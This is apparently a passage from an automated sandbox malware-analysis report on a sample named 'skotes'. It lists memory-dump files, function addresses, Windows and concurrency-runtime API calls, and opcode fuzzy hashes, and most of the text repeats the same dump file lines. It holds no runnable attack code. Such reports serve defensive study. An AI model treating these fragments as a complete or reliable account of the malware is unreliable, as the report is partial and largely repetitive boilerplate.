Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 43c629d84c5dfce28a67bb0ce853afdcd9e08f68a938e2c4ae017d34eff2859d
Instruction ID: 9e0465b705b705b01e265cb0b5c078d656f958ab31951f860ff142b1ce7bb842
Opcode Fuzzy Hash: 43c629d84c5dfce28a67bb0ce853afdcd9e08f68a938e2c4ae017d34eff2859d
Instruction Fuzzy Hash: 3BE0E53153123376DB333AF57C04BABA748CB423A0F450210EE2496090DB60CE3095E0

Function 00231775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00231B65,?,?,00000000,?,00231B65,00000000,0000000C), ref: 00231792

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 12d4779953c4a2f01599d2792495abfa704886d7033c5863752f7a0fac65bd06
Instruction ID: 7660f34f6c79ed865141363066190141a6c3661c511570e63cf95a8225404717
Opcode Fuzzy Hash: 12d4779953c4a2f01599d2792495abfa704886d7033c5863752f7a0fac65bd06
Instruction Fuzzy Hash: 9DD0923204010DBBDF129F84DC02EDA3BAAFB88714F015100BE5866060C732F831EB94

Function 04EB0C70 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c63e83ecb9f8e2dbbca6b4e7f12a2ff1c90f177c517e21f2050d538a603623f7
Instruction ID: 57ff0d58601c731c02326c4278646ef5b1970056f6d5b7d2f54a9d08a50831a0
Opcode Fuzzy Hash: c63e83ecb9f8e2dbbca6b4e7f12a2ff1c90f177c517e21f2050d538a603623f7
Instruction Fuzzy Hash: 90E0C26B71F1149CD283A08123563F3BB15BB9663233038E3D0CB8A4127398B15E6CE1

Function 04EB0AC7 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65faf0e381e5cf1d495d328d2b653365382afeddd6798a4263ece9e7af0bd30
Instruction ID: b9310d180cceeb2aa69aed82f1b6e17b9986fec4c130d1014571bcb15b926162
Opcode Fuzzy Hash: b65faf0e381e5cf1d495d328d2b653365382afeddd6798a4263ece9e7af0bd30
Instruction Fuzzy Hash: 70118BEB28D114BDE04381826B55AFB7A2DE3D27303309466F587D6542F3A87A4970F1

Function 04EB0ADE Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba1fb02deea3e208066ded128322da4aafd29dc1fe80c303b7cc953940b5077
Instruction ID: b889dbcf94ff5ac684faf14b78f010454cc60f0e138ef9c62cc80a1aa1ee011b
Opcode Fuzzy Hash: fba1fb02deea3e208066ded128322da4aafd29dc1fe80c303b7cc953940b5077
Instruction Fuzzy Hash: 3C118FEB28D118BDE14351812B59AFB7A2DE6C67303309466F883E6542F3D83A5D70F1

Function 04EB0B06 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c7eea991d6c40eed3686f9bb2ec1d6955fad7a0755d229627030cd88cdd235
Instruction ID: dfee7a182443e47812f61e7943c8e68423698ca5c66b81686ea5b9c4dfe25631
Opcode Fuzzy Hash: a3c7eea991d6c40eed3686f9bb2ec1d6955fad7a0755d229627030cd88cdd235
Instruction Fuzzy Hash: 51118EEB24D104FDF14286812B58AF77A6DE7C233433094AAF48395542F2E46A5965B1

Function 04EB0B4D Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f24a31cebfba15b5511ad9365a38b842411546a5ea97115fc1c908f69b7109
Instruction ID: 956bec0fc0fdf08921dde40286c586a9b7ba91977642c132bdea0102a81c66ed
Opcode Fuzzy Hash: a5f24a31cebfba15b5511ad9365a38b842411546a5ea97115fc1c908f69b7109
Instruction Fuzzy Hash: 70117CEB28D014BDF14295812B58AF77B7DE3C2730330A466F487D5402F2947A5D64B1

Function 04EB0B24 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5befdbeb678cbea7d4c1902b51383e5c085ce265cd9e32ad7f41e644d5c058e9
Instruction ID: 677c10e843cebaad4952f147c8c9d79f6327acffe332195622f39abb0cda260b
Opcode Fuzzy Hash: 5befdbeb678cbea7d4c1902b51383e5c085ce265cd9e32ad7f41e644d5c058e9
Instruction Fuzzy Hash: 7B0129EF28D014BDB14295816B58EFB7A2DF6C27303309466F487D5402F2996A5924F1

Function 04EB0B71 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a6b6b6808ebca6fa6f85518d98b870cf594349ee180a20b1f79a4fbd4b29bb
Instruction ID: 7d966f31a3b0b7c02e8776e1edd2b9ceca94850478a2950bfd4ff253a2ccb37d
Opcode Fuzzy Hash: 33a6b6b6808ebca6fa6f85518d98b870cf594349ee180a20b1f79a4fbd4b29bb
Instruction Fuzzy Hash: A601F9EB24E110BEE14345912B596F77B2DF7C333033094AAF487C5842F2853A4965B1

Function 04EB0BA5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba995dc966ac4e82a547e834628102ddea6e64d065025726c91480d145985e14
Instruction ID: 8376ca4ee0db0ff93203d7ed1ede2635bcddf72b711817e6dabe130ee2022299
Opcode Fuzzy Hash: ba995dc966ac4e82a547e834628102ddea6e64d065025726c91480d145985e14
Instruction Fuzzy Hash: 5BF0A7AB28E014EDF09354952B656FB771DB7D32303306A93E0D7C6981B294764968E1

Function 04EB0BCB Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e9b9246794a7af42caec6b5083335f29c9a0e1967065cbb530022bef45306d0
Instruction ID: ea2416558a884958f5fde768195617f2794336a4b222a7a86abcf0fd1d32bae2
Opcode Fuzzy Hash: 1e9b9246794a7af42caec6b5083335f29c9a0e1967065cbb530022bef45306d0
Instruction Fuzzy Hash: 5EE0869B39F018DCD19351C213587F77519738763137060E2E0CB968027394365D78F1

Function 04EB0C04 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3292552614.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4eb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b79ed4f236a8924b3a8516bfe144253d732dffb8751fe363e188293170b704
Instruction ID: 31e12be18d8782710c1be42154201513243f4b36dc35afa729b9292777bb9771
Opcode Fuzzy Hash: 92b79ed4f236a8924b3a8516bfe144253d732dffb8751fe363e188293170b704
Instruction Fuzzy Hash: 46D0C27771D218AE9183A0E523693F7BA097B5A231330A4E3D5CBDB512A20A3115A9D0

Non-executed Functions

Function 00210E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00210F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00210F62

Part of subcall function 0021265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00212750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00210FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00210FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0021103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0021106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 002110C1

Strings

(, xrefs: 00210F22

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: bbbb6e0ac1de08cd90222b61eebc88fd8d0bb120b86e66cfe3987ba0658685ff
Instruction ID: a050b18f9525b36c612fb53f35e7997909cc0b575805dd10fa02df593a58d05d
Opcode Fuzzy Hash: bbbb6e0ac1de08cd90222b61eebc88fd8d0bb120b86e66cfe3987ba0658685ff
Instruction Fuzzy Hash: E8B18B70A10616EFCB28CF58D995BBAB7F4FF58300F104169E905AB285D770E9E1CB94

Function 00211602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00212CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00212D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00211614

Part of subcall function 00212E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00212E39
Part of subcall function 00212E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00212EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00211746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 002117A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 002117B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 002117ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0021180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0021181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00211823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0021183B

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 700edca778854ff3b71246ea7649a3ccfe46a64cf80781a0fc4431cbe1196a3b
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 6F818C71E102269FCB18CFA8C580AADB7F6FF58304B1582ADE545A7741C771EDA2CB84

Function 0021EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0021EC81

Part of subcall function 00218F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00218F50

